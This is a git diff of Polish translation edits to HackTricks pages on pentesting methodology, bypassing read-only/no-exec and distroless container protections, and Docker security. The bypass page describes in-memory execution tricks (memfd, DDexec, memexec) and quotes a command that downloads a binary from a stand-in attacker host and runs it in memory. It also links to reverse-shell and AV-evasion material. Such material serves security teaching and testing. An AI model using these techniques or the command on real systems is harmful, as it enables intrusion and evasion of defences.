-Jeśli nie ma żadnego spektakularnego exploitu dla żadnej działającej usługi, powinieneś szukać **częstych błędów konfiguracyjnych w każdej działającej usłudze**.
+Jeśli nie ma żadnego spektakularnego eksploitu dla żadnej działającej usługi, powinieneś szukać **powszechnych błędów konfiguracyjnych w każdej działającej usłudze**.
-**W tej książce znajdziesz przewodnik po testowaniu penetracyjnym najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, szukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
+**W tej książce znajdziesz przewodnik po testowaniu penetracyjnym najczęściej używanych usług** (oraz tych mniej popularnych)**. Proszę, szukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
**Chciałbym zwrócić uwagę na** [**część Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej obszerna).**\
Ponadto, mały przewodnik dotyczący [**znajdowania znanych podatności w oprogramowaniu**](search-exploits.md) można znaleźć tutaj.
@@ -72,11 +72,11 @@ W niektórych scenariuszach **Atak Brute-Force** może być przydatny do **skomp
### 6- [Phishing](phishing-methodology/)
-Jeśli do tej pory nie znalazłeś żadnej interesującej podatności, **może być konieczne przeprowadzenie phishingu** w celu dostania się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
+Jeśli do tej pory nie znalazłeś żadnej interesującej podatności, **może musisz spróbować phishingu**, aby dostać się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
-### **7-** [**Uzyskiwanie powłoki**](shells/)
+### **7-** [**Uzyskiwanie Powłoki**](shells/)
-W jakiś sposób powinieneś znaleźć **sposób wykonania kodu** na ofierze. Następnie, [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania odwrotnej powłoki, byłaby bardzo przydatna](shells/).
+W jakiś sposób powinieneś znaleźć **sposób na wykonanie kodu** na ofierze. Następnie, [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania odwrotnej powłoki, byłaby bardzo przydatna](shells/).
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **uniknąć antywirusów**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
@@ -122,7 +122,7 @@ Znajdź tutaj różne sposoby na [**wydobywanie haseł w systemie Windows**](bro
**Użyj 2 lub 3 różnych typów mechanizmów utrzymywania dostępu, aby nie musieć ponownie wykorzystywać systemu.**\
**Tutaj znajdziesz kilka** [**sztuczek utrzymywania dostępu w Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
-TODO: Uzupełnij post o utrzymaniu dostępu w systemach Windows i Linux
+TODO: Uzupełnij post o utrzymaniu dostępu w Windows i Linux
### 12 - Pivoting
@@ -149,9 +149,9 @@ Sprawdź również stronę dotyczącą [**NTLM**](../windows-hardening/ntlm/), m
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
-
+
-Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 78dd17494..5308f51ff 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -10,13 +10,13 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
-
+
-Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
+Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -24,8 +24,8 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowa
W poniższych filmach znajdziesz techniki omówione na tej stronie wyjaśnione bardziej szczegółowo:
-* [**DEF CON 31 - Badanie manipulacji pamięcią Linuxa dla Stealth i Ewazji**](https://www.youtube.com/watch?v=poHirez8jk4)
-* [**Intruzje Stealth z DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
+* [**DEF CON 31 - Badanie manipulacji pamięcią Linuxa dla Stealth i Unikania**](https://www.youtube.com/watch?v=poHirez8jk4)
+* [**Intruzje stealth z DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Scenariusz tylko do odczytu / brak wykonywania
@@ -52,29 +52,29 @@ Z perspektywy zespołu czerwonego, to sprawia, że **trudno jest pobrać i wykon
## Najprostsze ominięcie: Skrypty
-Zauważ, że wspomniałem o binariach, możesz **wykonać dowolny skrypt**, o ile interpreter jest wewnątrz maszyny, jak **skrypt powłoki** jeśli `sh` jest obecne lub **skrypt pythonowy** jeśli jest zainstalowany `python`.
+Zauważ, że wspomniałem o binariach, możesz **wykonać dowolny skrypt**, o ile interpreter jest wewnątrz maszyny, na przykład **skrypt powłoki** jeśli `sh` jest obecne lub **skrypt pythonowy** jeśli `python` jest zainstalowany.
Jednak to nie wystarczy do wykonania swojego binarnego backdoora lub innych narzędzi binarnych, które mogą być Ci potrzebne do uruchomienia.
## Ominięcia pamięci
-Jeśli chcesz wykonać binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest **wykonanie go z pamięci**, ponieważ **zabezpieczenia nie mają zastosowania tam**.
+Jeśli chcesz wykonać binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest **wykonanie go z pamięci**, ponieważ **zabezpieczenia tam nie obowiązują**.
### Ominięcie FD + exec syscall
-Jeśli masz potężne silniki skryptów wewnątrz maszyny, takie jak **Python**, **Perl** lub **Ruby**, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (`create_memfd` syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać **`exec syscall`** wskazując **fd jako plik do wykonania**.
+Jeśli masz potężne silniki skryptowe wewnątrz maszyny, takie jak **Python**, **Perl** lub **Ruby**, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (`create_memfd` syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać **wywołanie systemowe exec**, wskazując **fd jako plik do wykonania**.
-Do tego możesz łatwo użyć projektu [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z **binarnym skompresowanym i zakodowanym w base64** z instrukcjami do **dekodowania i dekompresji** w **fd** utworzonym za pomocą wywołania `create_memfd` syscall oraz wywołania **exec syscall** do jego uruchomienia.
+Do tego możesz łatwo użyć projektu [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z **binarnym skompresowanym i zakodowanym w base64** z instrukcjami do **dekodowania i rozpakowania** go w **fd** utworzonym za pomocą wywołania `create_memfd` syscall oraz wywołania **exec** syscall do jego uruchomienia.
{% hint style="warning" %}
-To nie działa w innych językach skryptowych, takich jak PHP lub Node, ponieważ nie mają one **domyślnego sposobu na wywołanie surowych wywołań systemowych** z poziomu skryptu, więc nie można wywołać `create_memfd` do utworzenia **deskryptora pamięci** do przechowywania binarnego pliku.
+To nie działa w innych językach skryptowych, takich jak PHP lub Node, ponieważ nie mają one **domyślnego sposobu na wywołanie surowych wywołań systemowych** z poziomu skryptu, więc nie można wywołać `create_memfd` do utworzenia **fd pamięciowego** do przechowywania binarnego pliku.
-Co więcej, utworzenie **zwykłego deskryptora pliku** z plikiem w `/dev/shm` nie zadziała, ponieważ nie będziesz mógł go uruchomić, ponieważ zastosowana zostanie **ochrona no-exec**.
+Co więcej, utworzenie **zwykłego fd** z plikiem w `/dev/shm` nie zadziała, ponieważ nie będziesz mógł go uruchomić, ponieważ zastosowana zostanie **ochrona no-exec**.
{% endhint %}
### DDexec / EverythingExec
-[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) to technika, która pozwala Ci **modyfikować pamięć własnego procesu**, nadpisując jego **`/proc/self/mem`**.
+[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) to technika, która pozwala **modyfikować pamięć własnego procesu**, nadpisując jego **`/proc/self/mem`**.
Dlatego **kontrolując kod asemblera**, który jest wykonywany przez proces, możesz napisać **shellcode** i "zmienić" proces, aby **wykonał dowolny arbitralny kod**.
@@ -87,13 +87,13 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
-[**Memexec**](https://github.com/arget13/memexec) to naturalny kolejny krok po DDexec. To **zdemoralizowany shellcode DDexec**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
+[**Memexec**](https://github.com/arget13/memexec) to naturalny kolejny krok po DDexec. To **zdemilitaryzowany shellcode DDexec**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
-Możesz znaleźć przykład **użycia memexec do uruchamiania plików binarnych z odwróconym powłoką PHP** w [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
+Możesz znaleźć przykład, jak **użyć memexec do uruchamiania plików binarnych z odwróconym powłokiem PHP** w [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
-O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/memdlopen) umożliwia **łatwiejsze ładowanie plików binarnych** do późniejszego wykonania. Może nawet umożliwić ładowanie plików binarnych z zależnościami.
+O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/memdlopen) umożliwia **łatwiejsze ładowanie plików binarnych** do późniejszego wykonania. Może nawet pozwolić na ładowanie plików binarnych z zależnościami.
## Ominięcie Distroless
@@ -101,7 +101,7 @@ O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/m
Kontenery Distroless zawierają tylko **niezbędne minimalne składniki do uruchomienia określonej aplikacji lub usługi**, takie jak biblioteki i zależności czasu wykonania, ale wykluczają większe składniki, takie jak menedżer pakietów, powłoka lub narzędzia systemowe.
-Celem kontenerów Distroless jest **zmniejszenie powierzchni ataku kontenerów poprzez eliminację zbędnych składników** i minimalizację liczby podatności, które mogą być wykorzystane.
+Celem kontenerów Distroless jest **zmniejszenie powierzchni ataku kontenerów poprzez eliminowanie zbędnych składników** i minimalizowanie liczby podatności, które mogą być wykorzystane.
### Odwrócona powłoka
@@ -111,23 +111,23 @@ W kontenerze Distroless możesz **nawet nie znaleźć `sh` ani `bash`** do uzysk
Dlatego **nie** będziesz w stanie uzyskać **odwróconej powłoki** ani **wyliczyć** systemu, jak zazwyczaj robisz.
{% endhint %}
-Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to zainstalowany jest Python, więc możesz uzyskać **odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz uzyskać powłokę Node, podobnie z większością **języków skryptowych**.
+Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to python jest zainstalowany, więc możesz zdobyć **odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz zdobyć odwróconą powłokę Node, podobnie z większością **języków skryptowych**.
{% hint style="success" %}
Korzystając z języka skryptowego, możesz **wyliczyć system** korzystając z możliwości języka.
{% endhint %}
-Jeśli nie ma **ochrony `tylko do odczytu/bez wykonywania`**, możesz nadużyć swojej odwróconej powłoki, aby **zapisywać w systemie pliki binarne** i **wykonywać** je.
+Jeśli nie ma **ochrony `read-only/no-exec`**, możesz nadużyć swojej odwróconej powłoki, aby **zapisywać w systemie pliki binarne** i **wykonywać** je.
{% hint style="success" %}
Jednak w tego rodzaju kontenerach te zabezpieczenia zazwyczaj istnieją, ale możesz użyć **poprzednich technik wykonania w pamięci, aby je ominąć**.
{% endhint %}
-Możesz znaleźć **przykłady** jak **wykorzystać niektóre podatności RCE** do uzyskania **odwróconych powłok języków skryptowych** i wykonywania plików binarnych z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
+Możesz znaleźć **przykłady** jak **wykorzystać niektóre podatności RCE** do uzyskania **odwróconych powłok języków skryptowych** i uruchamiania plików binarnych z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
-
+
-Jeśli jesteś zainteresowany **karierą w dziedzinie hakowania** i hakiem na niehakowalne - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli jesteś zainteresowany **karierą w dziedzinie hakowania** i hakiem nie do przebicia - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md
index 07dd2a918..c761f39a7 100644
--- a/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/README.md
@@ -2,64 +2,65 @@
-Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Zacznij od zera i zostań ekspertem ds. hakowania AWS dziękihtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
\
-Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
-Otrzymaj dostęp już dziś:
+Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
+Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Podstawowe zabezpieczenia silnika Docker**
-Silnik Docker wykorzystuje **Namespaces** i **Cgroups** jądra Linuxa do izolacji kontenerów, oferując podstawową warstwę zabezpieczeń. Dodatkową ochronę zapewnia **Capabilities dropping**, **Seccomp** i **SELinux/AppArmor**, zwiększając izolację kontenerów. Plugin **auth** może dodatkowo ograniczać działania użytkownika.
+Silnik **Docker** wykorzystuje **Przestrzenie nazw** i **Grupy kontrolne (Cgroups)** jądra Linuxa do izolowania kontenerów, oferując podstawową warstwę zabezpieczeń. Dodatkową ochronę zapewnia **Upuszczanie uprawnień (Capabilities dropping)**, **Seccomp** oraz **SELinux/AppArmor**, zwiększając izolację kontenerów. Plugin **auth** może dodatkowo ograniczyć działania użytkownika.
![Bezpieczeństwo Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Bezpieczny dostęp do silnika Docker
-Silnik Docker można uzyskać zarówno lokalnie za pomocą gniazda Unix, jak i zdalnie za pomocą protokołu HTTP. W przypadku zdalnego dostępu ważne jest korzystanie z HTTPS i **TLS**, aby zapewnić poufność, integralność i uwierzytelnianie.
+Silnik Docker można uzyskać lokalnie za pomocą gniazda Unix lub zdalnie przy użyciu protokołu HTTP. W przypadku zdalnego dostępu istotne jest korzystanie z HTTPS i **TLS** w celu zapewnienia poufności, integralności i uwierzytelniania.
-Domyślnie silnik Docker nasłuchuje na gnieździe Unix pod adresem `unix:///var/run/docker.sock`. W systemach Ubuntu opcje uruchamiania Dockera są definiowane w pliku `/etc/default/docker`. Aby umożliwić zdalny dostęp do interfejsu API i klienta Dockera, należy udostępnić demona Dockera za pomocą gniazda HTTP, dodając następujące ustawienia:
+Silnik Docker domyślnie nasłuchuje na gnieździe Unix pod adresem `unix:///var/run/docker.sock`. W systemach Ubuntu opcje uruchamiania Dockera są zdefiniowane w pliku `/etc/default/docker`. Aby umożliwić zdalny dostęp do interfejsu API i klienta Dockera, wystarczy wystawić demona Dockera na gnieździe HTTP, dodając następujące ustawienia:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
-Jednakże, nie zaleca się wystawiania demona Docker przez HTTP ze względów bezpieczeństwa. Zaleca się zabezpieczenie połączeń za pomocą protokołu HTTPS. Istnieją dwie główne metody zabezpieczania połączenia:
-1. Klient weryfikuje tożsamość serwera.
-2. Zarówno klient, jak i serwer wzajemnie uwierzytelniają swoją tożsamość.
+Jednak wystawianie demona Dockera przez HTTP nie jest zalecane ze względów bezpieczeństwa. Zaleca się zabezpieczenie połączeń za pomocą protokołu HTTPS. Istnieją dwa główne podejścia do zabezpieczenia połączenia:
-Do potwierdzenia tożsamości serwera wykorzystuje się certyfikaty. Szczegółowe przykłady obu metod można znaleźć w [**tym przewodniku**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
+1. Klient weryfikuje tożsamość serwera.
+2. Zarówno klient, jak i serwer wzajemnie uwierzytelniają swoje tożsamości.
+
+Certyfikaty są wykorzystywane do potwierdzenia tożsamości serwera. Aby uzyskać szczegółowe przykłady obu metod, zapoznaj się z [**tym przewodnikiem**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Bezpieczeństwo obrazów kontenerów
-Obrazy kontenerów mogą być przechowywane w prywatnych lub publicznych repozytoriach. Docker oferuje kilka opcji przechowywania obrazów kontenerów:
+Obrazy kontenerów można przechowywać w repozytoriach prywatnych lub publicznych. Docker oferuje kilka opcji przechowywania obrazów kontenerów:
-* **[Docker Hub](https://hub.docker.com)**: Publiczna usługa rejestru od Docker.
-* **[Docker Registry](https://github.com/docker/distribution)**: Projekt open-source, który umożliwia użytkownikom hostowanie własnego rejestru.
-* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Komercyjna oferta rejestru od Docker, oferująca uwierzytelnianie użytkowników oparte na rolach oraz integrację z usługami katalogowymi LDAP.
+* [**Docker Hub**](https://hub.docker.com): Usługa publicznego rejestru od Dockera.
+* [**Docker Registry**](https://github.com/docker/distribution): Projekt open-source, który pozwala użytkownikom hostować własny rejestr.
+* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercyjna oferta rejestru od Dockera, oferująca uwierzytelnianie użytkowników oparte na rolach oraz integrację z usługami katalogowymi LDAP.
### Skanowanie obrazów
-Kontenery mogą mieć **luki w zabezpieczeniach** zarówno ze względu na obraz bazowy, jak i oprogramowanie zainstalowane na nim. Docker pracuje nad projektem o nazwie **Nautilus**, który skanuje kontenery pod kątem bezpieczeństwa i wylicza podatności. Nautilus działa poprzez porównanie każdej warstwy obrazu kontenera z repozytorium podatności w celu identyfikacji luk w zabezpieczeniach.
+Kontenery mogą mieć **luki bezpieczeństwa** zarówno z powodu obrazu bazowego, jak i z powodu zainstalowanego oprogramowania na nim. Docker pracuje nad projektem o nazwie **Nautilus**, który skanuje kontenery pod kątem bezpieczeństwa i wyświetla luki. Nautilus działa poprzez porównanie każdej warstwy obrazu kontenera z repozytorium podatności w celu zidentyfikowania luk bezpieczeństwa.
Aby uzyskać więcej [**informacji, przeczytaj to**](https://docs.docker.com/engine/scan/).
* **`docker scan`**
-Polecenie **`docker scan`** umożliwia skanowanie istniejących obrazów Docker za pomocą nazwy lub identyfikatora obrazu. Na przykład, uruchom poniższe polecenie, aby przeskanować obraz hello-world:
+Polecenie **`docker scan`** pozwala skanować istniejące obrazy Dockera, używając nazwy obrazu lub ID. Na przykład, uruchom poniższe polecenie, aby przeskanować obraz hello-world:
```bash
docker scan hello-world
@@ -91,53 +92,55 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
Podpisywanie obrazów Docker zapewnia bezpieczeństwo i integralność obrazów używanych w kontenerach. Oto zwięzłe wyjaśnienie:
-- **Docker Content Trust** wykorzystuje projekt Notary, oparty na The Update Framework (TUF), do zarządzania podpisywaniem obrazów. Więcej informacji można znaleźć na stronach [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io).
-- Aby aktywować zaufanie do zawartości Dockera, ustaw `export DOCKER_CONTENT_TRUST=1`. Ta funkcja jest domyślnie wyłączona w wersji Dockera 1.10 i nowszych.
-- Po włączeniu tej funkcji można pobierać tylko podpisane obrazy. Pierwsze przesyłanie obrazu wymaga ustawienia haseł dla kluczy root i tagowania, a Docker obsługuje również Yubikey w celu zwiększenia bezpieczeństwa. Więcej szczegółów można znaleźć [tutaj](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
-- Próba pobrania niepodpisanego obrazu przy włączonym zaufaniu do zawartości skutkuje błędem "Brak danych zaufania dla najnowszej wersji".
-- Podczas przesyłania obrazów po raz kolejny Docker prosi o hasło do klucza repozytorium w celu podpisania obrazu.
+* **Zaufanie do Zawartości Dockera** wykorzystuje projekt Notary, oparty na The Update Framework (TUF), do zarządzania podpisami obrazów. Więcej informacji można znaleźć na stronach [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io).
+* Aby aktywować zaufanie do zawartości Dockera, ustaw `export DOCKER_CONTENT_TRUST=1`. Ta funkcja jest domyślnie wyłączona w Dockerze w wersji 1.10 i nowszych.
+* Po włączeniu tej funkcji, można pobierać tylko podpisane obrazy. Pierwsze przesłanie obrazu wymaga ustawienia haseł dostępu do kluczy głównego i tagowania, a Docker obsługuje również Yubikey dla zwiększonego bezpieczeństwa. Więcej szczegółów można znaleźć [tutaj](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
+* Próba pobrania niepodpisanego obrazu przy włączonym zaufaniu do zawartości kończy się błędem "Brak danych zaufania dla najnowszej wersji".
+* Podczas kolejnych przesyłek obrazów, Docker prosi o hasło dostępu do klucza repozytorium w celu podpisania obrazu.
-Aby zrobić kopię zapasową prywatnych kluczy, użyj polecenia:
+Aby zabezpieczyć swoje prywatne klucze, użyj polecenia:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
-Podczas przełączania hostów Docker konieczne jest przeniesienie kluczy roota i repozytorium w celu utrzymania operacji.
-
+Podczas przełączania się między hostami Docker, konieczne jest przeniesienie kluczy roota i repozytorium, aby utrzymać operacje.
***
\
-Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
+Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzowania przepływów pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Funkcje bezpieczeństwa kontenerów
+## Funkcje Bezpieczeństwa Kontenerów
Podsumowanie funkcji bezpieczeństwa kontenerów
-### Główne funkcje izolacji procesu
+#### Główne funkcje izolacji procesów
-W środowiskach kontenerowych izolacja projektów i ich procesów jest niezwykle ważna dla bezpieczeństwa i zarządzania zasobami. Oto uproszczone wyjaśnienie kluczowych pojęć:
+W środowiskach skonteneryzowanych izolacja projektów i ich procesów jest kluczowa dla bezpieczeństwa i zarządzania zasobami. Oto uproszczone wyjaśnienie kluczowych koncepcji:
-#### **Namespaces**
-- **Cel**: Zapewnienie izolacji zasobów, takich jak procesy, sieć i systemy plików. W szczególności w Dockerze, przestrzenie nazw utrzymują oddzielność procesów kontenera od hosta i innych kontenerów.
-- **Użycie `unshare`**: Polecenie `unshare` (lub odpowiednie wywołanie systemowe) jest wykorzystywane do tworzenia nowych przestrzeni nazw, zapewniając dodatkową warstwę izolacji. Jednak podczas gdy Kubernetes nie blokuje tego domyślnie, Docker tak.
-- **Ograniczenie**: Tworzenie nowych przestrzeni nazw nie pozwala procesowi powrócić do domyślnych przestrzeni nazw hosta. Aby przeniknąć do przestrzeni nazw hosta, zazwyczaj wymagane jest dostęp do katalogu `/proc` hosta, korzystając z narzędzia `nsenter` do wejścia.
+**Przestrzenie nazw (Namespaces)**
-#### **Grupy kontrolne (CGroups)**
-- **Funkcja**: Głównie używane do przydzielania zasobów między procesami.
-- **Aspekt bezpieczeństwa**: Same grupy kontrolne nie zapewniają izolacji bezpieczeństwa, z wyjątkiem funkcji `release_agent`, która w przypadku niewłaściwej konfiguracji może potencjalnie być wykorzystana do nieautoryzowanego dostępu.
+* **Cel**: Zapewnienie izolacji zasobów, takich jak procesy, sieć i systemy plików. W szczególności w Dockerze przestrzenie nazw utrzymują procesy kontenera oddzielone od hosta i innych kontenerów.
+* **Użycie `unshare`**: Polecenie `unshare` (lub wywołanie systemowe) jest wykorzystywane do tworzenia nowych przestrzeni nazw, zapewniając dodatkową warstwę izolacji. Jednak podczas gdy Kubernetes nie blokuje tego domyślnie, Docker tak.
+* **Ograniczenie**: Tworzenie nowych przestrzeni nazw nie pozwala procesowi powrócić do domyślnych przestrzeni nazw hosta. Aby przeniknąć do przestrzeni nazw hosta, zazwyczaj wymagane jest dostęp do katalogu `/proc` hosta, korzystając z `nsenter` do wejścia.
-#### **Ograniczenie uprawnień**
-- **Znaczenie**: Jest to kluczowa funkcja bezpieczeństwa dla izolacji procesów.
-- **Funkcjonalność**: Ogranicza działania, które może wykonać proces roota poprzez odrzucenie określonych uprawnień. Nawet jeśli proces działa z uprawnieniami roota, brak niezbędnych uprawnień uniemożliwia mu wykonanie uprzywilejowanych działań, ponieważ wywołania systemowe zakończą się niepowodzeniem z powodu niewystarczających uprawnień.
+**Grupy Kontrolne (CGroups)**
-Oto **pozostałe uprawnienia** po odrzuceniu pozostałych:
+* **Funkcja**: Głównie używane do przydzielania zasobów między procesami.
+* **Aspekt bezpieczeństwa**: Same CGroups nie oferują izolacji bezpieczeństwa, z wyjątkiem funkcji `release_agent`, która w przypadku błędnej konfiguracji może potencjalnie być wykorzystana do nieautoryzowanego dostępu.
+
+**Odrzucanie Uprawnień (Capability Drop)**
+
+* **Znaczenie**: Jest to istotna funkcja bezpieczeństwa dla izolacji procesów.
+* **Funkcjonalność**: Ogranicza działania, które może wykonać proces root poprzez odrzucenie określonych uprawnień. Nawet jeśli proces działa z uprawnieniami roota, brak niezbędnych uprawnień uniemożliwia mu wykonywanie uprzywilejowanych działań, ponieważ wywołania systemowe zakończą się niepowodzeniem z powodu niewystarczających uprawnień.
+
